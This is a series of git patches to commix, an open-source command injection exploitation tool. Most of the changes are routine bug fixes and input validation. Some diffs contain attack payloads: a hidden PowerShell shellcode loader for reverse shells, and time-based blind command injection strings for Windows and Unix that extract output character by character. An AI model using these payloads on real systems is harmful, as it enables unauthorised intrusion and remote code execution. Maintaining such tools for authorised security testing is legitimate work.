menu.options.bulkfile and menu.options.url: + err_msg = "The '-m' option is incompatible with option '-u' ('--url')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() # Check the user-defined OS. if menu.options.os: diff --git a/src/utils/settings.py b/src/utils/settings.py index 1545c97c57..f9dbb2660c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "48" +REVISION = "49" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b5110da7934925ad05c0ba8e3110648fbcbdf128 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Aug 2026 06:23:18 +0300 Subject: [PATCH 0706/1023] Fixed `--level 0` incorrectly treated as an unset value --- src/core/main.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 8d14401ca4..86490f8233 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -367,7 +367,7 @@ def main(filename, url, http_request_method): url = check_value_inside_boundaries(url, http_request_method) - if menu.options.level: + if menu.options.level is not None and menu.options.level is not False: settings.INJECTION_LEVEL = int(menu.options.level) else: settings.INJECTION_LEVEL = settings.DEFAULT_INJECTION_LEVEL diff --git a/src/utils/settings.py b/src/utils/settings.py index f9dbb2660c..fcb5c199b3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "49" +REVISION = "50" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From faee330456f94173057043425c493bb623fabddc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Aug 2026 06:24:53 +0300 Subject: [PATCH 0707/1023] Extended exception handling to catch `TypeError` alongside `AttributeError` --- src/core/injections/controller/injector.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 8eac53e3c3..cfda48e90f 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -539,7 +539,7 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times else: if shell[0] == "%i" : false_result = True - except AttributeError: + except (AttributeError, TypeError): false_result = True if false_result: shell = "" diff --git a/src/utils/settings.py b/src/utils/settings.py index fcb5c199b3..a63b915af5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "50" +REVISION = "51" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f227bea0ccc7b8ba1f7a9d680e493eb914984b49 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Aug 2026 06:26:53 +0300 Subject: [PATCH 0708/1023] Guarded response retrieval against HTTP errors --- src/core/injections/controller/injector.py | 16 ++++++++-------- src/utils/settings.py | 2 +- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index cfda48e90f..9b0d8db21b 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -562,20 +562,20 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times else: #Find the directory. output = injection_output(url, OUTPUT_TEXTFILE, timesec, technique) - response = checks.get_response(output) - if type(response) is bool and response != True or response is None: - shell = "" - else: - try: + try: + response = checks.get_response(output) + if type(response) is bool and response != True or response is None: + shell = "" + else: shell = checks.process_page_content(response, action="encode").rstrip().lstrip() #shell = [newline.replace(settings.END_LINE.LF,settings.SINGLE_WHITESPACE) for newline in shell] if settings.TARGET_OS == settings.OS.WINDOWS: shell = [newline.replace(settings.END_LINE.CR, "") for newline in shell] #shell = [space.strip() for space in shell] shell = [empty for empty in shell if empty] - except (_urllib.error.HTTPError, _urllib.error.URLError) as e: - if str(e.getcode()) == settings.NOT_FOUND_ERROR: - shell = "" + except (_urllib.error.HTTPError, _urllib.error.URLError) as e: + if str(e.getcode()) == settings.NOT_FOUND_ERROR: + shell = "" return shell # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index a63b915af5..eeccbb2190 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "51" +REVISION = "52" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7bf4279181180b06076daa68d48acf72e0ee2fa5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Aug 2026 06:28:18 +0300 Subject: [PATCH 0709/1023] Fixed infinite recursion when processing cyclic sitemaps --- src/utils/crawler.py | 5 ++++- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 12181d5149..92178cced2 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -36,6 +36,8 @@ def init_global_vars(): crawled_hrefs = [] global sitemap_loc sitemap_loc = [] + global visited_sitemaps + visited_sitemaps = [] global visited_hrefs visited_hrefs = [] global new_crawled_hrefs @@ -140,7 +142,8 @@ def sitemap(url, http_request_method): url = match.group(1).strip() if url not in sitemap_loc: sitemap_loc.append(url) - if url.endswith(".xml") and "sitemap" in url.lower(): + if url.endswith(".xml") and "sitemap" in url.lower() and url not in visited_sitemaps: + visited_sitemaps.append(url) while True: warn_msg = "A sitemap recursion detected (" + url + ")." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index eeccbb2190..fa7b416f42 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "52" +REVISION = "53" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a147255f05ce40a0661db56c97f6c1ebb6689b1a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Aug 2026 06:29:26 +0300 Subject: [PATCH 0710/1023] Added validation for `LHOST` and `RHOST` parameter values --- src/core/injections/controller/checks.py | 17 +++++++++++++++++ src/utils/settings.py | 2 +- 2 files changed, 18 insertions(+), 1 deletion(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 17d7f7779d..f02cb2aba4 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -3207,10 +3207,23 @@ def set_python_interpreter(): common.invalid_option(python_interpreter) pass +""" +Hostnames are allowed, shell metacharacters are not. +""" +def _validate_host_or_path(option_name, value): + if re.match(r'^[A-Za-z0-9.\-:_/]+$', value) is None: + err_msg = "The provided " + option_name + " value contains characters that are not allowed (only letters, digits, '.', '-', ':', '_', '/')." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return False + return True + """ check / set rhost option for bind TCP connection """ def check_rhost(rhost): + if not _validate_host_or_path("RHOST", rhost): + return False + settings.RHOST = rhost settings.print_data_to_stdout("RHOST => " + settings.RHOST) return True @@ -3219,6 +3232,10 @@ def check_rhost(rhost): check / set lhost option for reverse TCP connection """ def check_lhost(lhost): + + if not _validate_host_or_path("LHOST", lhost): + return False + settings.LHOST = lhost settings.print_data_to_stdout("LHOST => " + settings.LHOST) return True diff --git a/src/utils/settings.py b/src/utils/settings.py index fa7b416f42..4d8c82f02f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "53" +REVISION = "54" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 2a696bb0868e55bdc612d4a30028929850ea316d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Aug 2026 06:30:45 +0300 Subject: [PATCH 0711/1023] Added handling for `sqlite3.DatabaseError` exceptions --- src/utils/session_handler.py | 8 ++++---- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index cb9593fcd7..1839c5ad4f 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -94,7 +94,7 @@ def flush(url): conn.execute("DROP TABLE IF EXISTS " + table) conn.commit() conn.close() - except sqlite3.OperationalError as err_msg: + except (sqlite3.OperationalError, sqlite3.DatabaseError) as err_msg: err_msg = "Unable to flush the session file. " + str(err_msg) settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) else: @@ -428,7 +428,7 @@ def store_cmd(url, cmd, shell, vuln_parameter): vuln_parameter)) conn.commit() conn.close() - except sqlite3.OperationalError as err_msg: + except (sqlite3.OperationalError, sqlite3.DatabaseError) as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) except (TypeError, AttributeError): pass @@ -453,7 +453,7 @@ def export_stored_cmd(url, cmd, vuln_parameter): return output.decode(settings.DEFAULT_CODEC) except AttributeError: return output - except sqlite3.OperationalError: + except (sqlite3.OperationalError, sqlite3.DatabaseError): pass @@ -490,7 +490,7 @@ def export_valid_credentials(url, authentication_type): conn.close() if cursor: return ":".join(cursor[0]) - except sqlite3.OperationalError: + except (sqlite3.OperationalError, sqlite3.DatabaseError): pass # eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 4d8c82f02f..063a50be62 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "54" +REVISION = "55" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c15070ee8e5aaf62ed601ca2e8ff3edeecd85443 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Aug 2026 06:31:30 +0300 Subject: [PATCH 0712/1023] Fixed undefined function reference --- src/core/injections/controller/handler.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 6f13b31812..8fa8896289 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -582,7 +582,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec if call_tmp_based == True: exit_loops = True tmp_path = os.path.split(menu.options.file_dest)[0] + "/" - tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) + checks.tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. diff --git a/src/utils/settings.py b/src/utils/settings.py index 063a50be62..209ae1327b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "55" +REVISION = "56" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e9e67c3d639fbf8f654284bfdc6fb7963b3b9b3a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Aug 2026 06:32:30 +0300 Subject: [PATCH 0713/1023] Fixed concatenation issue --- src/core/shells/reverse_tcp.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 54184c1b6f..7008aad96c 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -524,7 +524,7 @@ def other_reverse_shells(separator): # One line shellcode injection with native x86 shellcode # Greetz to Dave Kennedy (@HackingDave) powershell_code = (r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };';$goat = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if($env:PROCESSOR_ARCHITECTURE -eq "AMD64"){$x86 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell";$cmd = "-noninteractive -EncodedCommand";iex "& $x86 $cmd $goat"}else{$cmd = "-noninteractive -EncodedCommand";iex "& powershell $cmd $goat";}""" % (shellcode)) - other_shell = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + base64.b64encode(powershell_code.encode('utf_16_le')) + other_shell = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + base64.b64encode(powershell_code.encode('utf_16_le')).decode() settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler" + settings.END_LINE.LF + diff --git a/src/utils/settings.py b/src/utils/settings.py index 209ae1327b..2b267e2a0d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "56" +REVISION = "57" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0e4e868f21fb49f6466b2d9bfe8de5fbbbcc822b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Aug 2026 06:33:35 +0300 Subject: [PATCH 0714/1023] Fixed binary file write handling --- src/utils/purge.py | 3 +-- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/src/utils/purge.py b/src/utils/purge.py index fd5d6df993..0efe0d5a8b 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -27,7 +27,6 @@ import functools from src.utils import menu from src.utils import settings -from src.core.compat import xrange from src.thirdparty.colorama import Fore, Back, Style, init """ @@ -73,7 +72,7 @@ def purge(): try: filesize = os.path.getsize(file_path) with open(file_path, "w+b") as f: - f.write("".join(chr(random.randint(0, 255)) for _ in xrange(filesize))) + f.write(os.urandom(filesize)) except: failed = True pass diff --git a/src/utils/settings.py b/src/utils/settings.py index 2b267e2a0d..98fa95e91f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "57" +REVISION = "58" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a11ed99163712560bc089363b0b43ca4169f0767 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Aug 2026 06:41:16 +0300 Subject: [PATCH 0715/1023] Fixed Tor proxy configuration to correctly route HTTP traffic --- doc/CHANGELOG.md | 1 + src/core/requests/proxy.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 2af7f712dd..4f7c9b9336 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Revised: Refactored `--tor` proxy handling to route HTTP traffic using the configured URL scheme. * Added: Spanish translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-es-ES.md). * Added: French translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-fr-FR.md). * Removed: The local HTTP server functionality, previously used by the deprecated `--file-upload` option, has been removed. diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 030b347d58..292231a353 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -34,7 +34,7 @@ def use_proxy(request): opener = _urllib.request.build_opener(proxy) _urllib.request.install_opener(opener) elif menu.options.tor: - proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:menu.options.proxy}) + proxy = _urllib.request.ProxyHandler({settings.SCHEME:menu.options.proxy}) opener = _urllib.request.build_opener(proxy) _urllib.request.install_opener(opener) else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 98fa95e91f..9943d4bf93 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "58" +REVISION = "59" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c71940bb3e9b8337219b5ba0e2d688041091b84b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Aug 2026 06:42:14 +0300 Subject: [PATCH 0716/1023] Fixed missing exit after failed file-write permission check --- src/core/injections/controller/checks.py | 1 + src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f02cb2aba4..5415a0ed00 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2753,6 +2753,7 @@ def check_file_to_write(): warn_msg = "The specified path '" + file_to_write + "' is not a file." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + raise SystemExit() dest_to_write = check_destination(destination=menu.options.file_dest) info_msg = "Attempting to write the contents of file '" diff --git a/src/utils/settings.py b/src/utils/settings.py index 9943d4bf93..cf933af4f3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "59" +REVISION = "60" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 47fe7fd4fb1da6c4272c492cf4b99b4c725f8c19 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Aug 2026 06:43:09 +0300 Subject: [PATCH 0717/1023] Fixed auth-cred parsing when credentials contained additional colons --- src/core/requests/headers.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 122774c1ee..390ccfab12 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -376,7 +376,7 @@ def do_check(request): authline = e.headers.get('www-authenticate', '') authobj = re.match(r'''(\w*)\s+realm=(.*),''',authline).groups() realm = authobj[1].split(',')[0].replace("\"", "") - user_pass_pair = menu.options.auth_cred.split(":") + user_pass_pair = menu.options.auth_cred.split(":", 1) username = user_pass_pair[0] password = user_pass_pair[1] authhandler = _urllib.request.HTTPDigestAuthHandler() diff --git a/src/utils/settings.py b/src/utils/settings.py index cf933af4f3..d148bac9fa 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "60" +REVISION = "61" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 88de6470fc4f96f4cd934d90283cb2070ca48bf3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Aug 2026 06:44:02 +0300 Subject: [PATCH 0718/1023] Simplified and improved `--auth-cred` parsing logic --- src/core/main.py | 7 +------ src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 7 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 86490f8233..c324beddb0 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -508,12 +508,7 @@ def main(filename, url, http_request_method): # Check if defined "--url" or "-m" option. if url: if menu.options.auth_cred and menu.options.auth_type: - if len(menu.options.auth_cred.split(":")) == 2: - username = menu.options.auth_cred.split(":")[0] - password = menu.options.auth_cred.split(":")[1] - else: - username = "" - password = menu.options.auth_cred + username, password = menu.options.auth_cred.split(":", 1) if not settings.LOAD_SESSION: session_handler.import_valid_credentials(url, authentication_type=menu.options.auth_type, \ admin_panel=url, username=username, \ diff --git a/src/utils/settings.py b/src/utils/settings.py index d148bac9fa..ffa456701c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "61" +REVISION = "62" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e3daa12dc325598139197892c51e98bf68d1fa6f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Aug 2026 06:44:37 +0300 Subject: [PATCH 0719/1023] Fixed validation of accepted `--level` values --- src/core/main.py | 4 ++++ src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/src/core/main.py b/src/core/main.py index c324beddb0..688a488c49 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -369,6 +369,10 @@ def main(filename, url, http_request_method): if menu.options.level is not None and menu.options.level is not False: settings.INJECTION_LEVEL = int(menu.options.level) + if settings.INJECTION_LEVEL not in (settings.DEFAULT_INJECTION_LEVEL, settings.COOKIE_INJECTION_LEVEL, settings.HTTP_HEADER_INJECTION_LEVEL): + err_msg = "The value for option '--level' must be an integer value from range [1, 3]." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() else: settings.INJECTION_LEVEL = settings.DEFAULT_INJECTION_LEVEL diff --git a/src/utils/settings.py b/src/utils/settings.py index ffa456701c..f68618c17f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "62" +REVISION = "63" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4bc49998f8b80a397e64df71567fcfc1e1c6edc4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Aug 2026 06:45:01 +0300 Subject: [PATCH 0720/1023] Fixed `EOFError` handling that could lead to an infinite loop --- src/utils/common.py | 2 ++ src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/src/utils/common.py b/src/utils/common.py index 46b6ff23b8..d84d2bab34 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -49,6 +49,8 @@ def safe_input(message): return _input(message) except UnicodeDecodeError as e: return _input(message.encode("utf-8", "ignore").decode("utf-8")) + except EOFError: + raise except Exception as err_msg: settings.print_data_to_stdout(settings.print_error_msg(err_msg)) return "" diff --git a/src/utils/settings.py b/src/utils/settings.py index f68618c17f..fc65401d29 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "63" +REVISION = "64" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 785843cfb7f50444582d4255dc95636fd9d2aec0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 14 Aug 2026 06:45:44 +0300 Subject: [PATCH 0721/1023] Improved misleading proxy-related error message --- src/core/requests/requests.py | 4 ++-- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index e3a4a0ed42..6e4a457db3 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -327,7 +327,7 @@ def request_failed(err_msg): err = "Unable to connect to the target URL" if menu.options.tor: err += " using the Tor network" - elif menu.options.proxy or menu.options.ignore_proxy: + elif menu.options.proxy: err += " using the defined HTTP proxy" err = err + " (Reason: " + str(error_msg) + "). " if menu.options.tor: @@ -380,7 +380,7 @@ def request_failed(err_msg): elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] warn_msg = "The web server responded with an HTTP error code '" + str(status_code[0]) - warn_msg += "' which could interfere with the results of the tests." + warn_msg += "', which could interfere with the results of the tests." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): return False diff --git a/src/utils/settings.py b/src/utils/settings.py index fc65401d29..01e0ac4923 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "64" +REVISION = "65" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ff21823682072320779004124fe5783dbba038d0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 15 Aug 2026 07:44:46 +0300 Subject: [PATCH 0722/1023] Added parallel data retrieval with `--threads` and optimized time-related techniques using binary search for character extraction. --- doc/CHANGELOG.md | 3 + .../techniques/time_based/tb_payloads.py | 11 +- src/core/injections/controller/checks.py | 9 +- src/core/injections/controller/handler.py | 5 +- src/core/injections/controller/injector.py | 218 ++++++++++++++---- .../techniques/tempfile_based/tfb_payloads.py | 10 +- src/core/main.py | 22 +- src/core/requests/headers.py | 21 +- src/utils/menu.py | 7 + src/utils/settings.py | 19 +- 10 files changed, 246 insertions(+), 79 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 4f7c9b9336..2a6adc8baf 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,7 @@ ## Version 4.2 (TBA) +* Added: New `--threads` option to support parallel data retrieval, reducing extraction time on supported techniques. +* Revised: Refactored time-related techniques (i.e. "time-based", "tempfile-based") to use binary search for character extraction. +* Fixed: A stored session could restore a `--time-sec` value from an earlier run without re-applying the minimum safe delay, silently bypassing the safety floor on resumed sessions. * Revised: Refactored `--tor` proxy handling to route HTTP traffic using the configured URL scheme. * Added: Spanish translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-es-ES.md). * Added: French translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-fr-FR.md). diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index d185045909..25fd04e553 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -295,14 +295,14 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + - cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i GEQ " + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == _urllib.parse.quote("&&") : ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + - cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i GEQ " + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: @@ -321,8 +321,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met settings.RANDOM_VAR_GENERATOR + "2=" + settings.CMD_SUB_PREFIX + "expr substr \"$" + settings.RANDOM_VAR_GENERATOR + "\" " + str(num_of_chars) + " 1" + settings.CMD_SUB_SUFFIX + separator + # Transform from Ascii to Decimal. settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "printf '%d' \"'$" + settings.RANDOM_VAR_GENERATOR + "2'\"" + settings.CMD_SUB_SUFFIX + separator + - # Perform the time-based comparisons - "if [ " + str(ascii_char) + " -eq $" + settings.RANDOM_VAR_GENERATOR + " ]" + separator + + "if [ " + str(ascii_char) + " -le $" + settings.RANDOM_VAR_GENERATOR + " ]" + separator + # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" @@ -340,7 +339,7 @@ def get_char(separator, 